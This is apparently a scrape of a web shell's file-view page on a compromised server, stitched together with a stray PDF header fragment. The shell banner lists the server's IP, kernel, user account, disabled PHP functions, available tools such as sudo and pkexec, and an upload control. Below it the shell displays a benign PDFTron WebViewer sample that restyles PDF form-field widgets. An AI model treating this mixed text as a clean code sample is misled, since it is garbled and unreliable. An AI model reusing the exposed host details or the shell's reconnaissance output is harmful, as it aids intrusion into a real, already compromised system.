%PDF-1.4 %Óëéá 1 0 obj <> endobj 3 0 obj <> endobj 4 0 obj <
| Server IP : 212.252.79.165 / Your IP : 216.73.217.172 [ Web Server : Apache System : Linux 212-252-79-165.cprapid.com 5.15.0-153-generic #163-Ubuntu SMP Thu Aug 7 16:37:18 UTC 2025 x86_64 User : cehaburo ( 1001) PHP Version : 8.1.33 Disable Function : exec,passthru,shell_exec,system Domains : 48 Domains MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /home/cehaburo/www/pdfjs/samples/forms/form-fields/ |
Upload File : |
// @link WebViewerInstance: https://www.pdftron.com/api/web/WebViewerInstance.html
// @link DocumentViewer: https://www.pdftron.com/api/web/Core.DocumentViewer.html
// @link AnnotationManager: https://www.pdftron.com/api/web/Core.AnnotationManager.html
// @link AnnotationManager.drawAnnotations: https://www.pdftron.com/api/web/Core.AnnotationManager.html#drawAnnotations__anchor
// @link Annotations: https://www.pdftron.com/api/web/Annotations.html
WebViewer(
{
path: '../../../lib',
initialDoc: 'https://pdftron.s3.amazonaws.com/downloads/pl/form1.pdf',
},
document.getElementById('viewer')
).then(instance => {
samplesSetup(instance);
const { documentViewer, annotationManager, Annotations } = instance.Core;
documentViewer.addEventListener('documentLoaded', () => {
const pageCount = documentViewer.getPageCount();
const defaultStyles = Annotations.WidgetAnnotation.getCustomStyles;
const defaultContainerStyles = Annotations.WidgetAnnotation.getContainerCustomStyles;
const customStyles = widget => {
if (widget instanceof Annotations.TextWidgetAnnotation) {
if (widget.fieldName === 'f1-1') {
return {
'background-color': 'lightgreen',
};
}
return {
'background-color': 'lightblue',
color: 'brown',
};
}
if (widget instanceof Annotations.PushButtonWidgetAnnotation) {
return {
'background-color': 'red',
color: 'white',
};
}
};
const customContainerStyles = widget => {
if (widget instanceof Annotations.WidgetAnnotation) {
return {
border: '2px solid green',
};
}
};
document.getElementById('form').onchange = e => {
if (e.target.id === 'custom') {
// Change styles for widget annotations
Annotations.WidgetAnnotation.getCustomStyles = customStyles;
Annotations.WidgetAnnotation.getContainerCustomStyles = customContainerStyles;
} else {
Annotations.WidgetAnnotation.getCustomStyles = defaultStyles;
Annotations.WidgetAnnotation.getContainerCustomStyles = defaultContainerStyles;
}
for (let i = 0; i < pageCount; i++) {
// Redraw canvas
annotationManager.drawAnnotations(i + 1, null, true);
}
};
});
});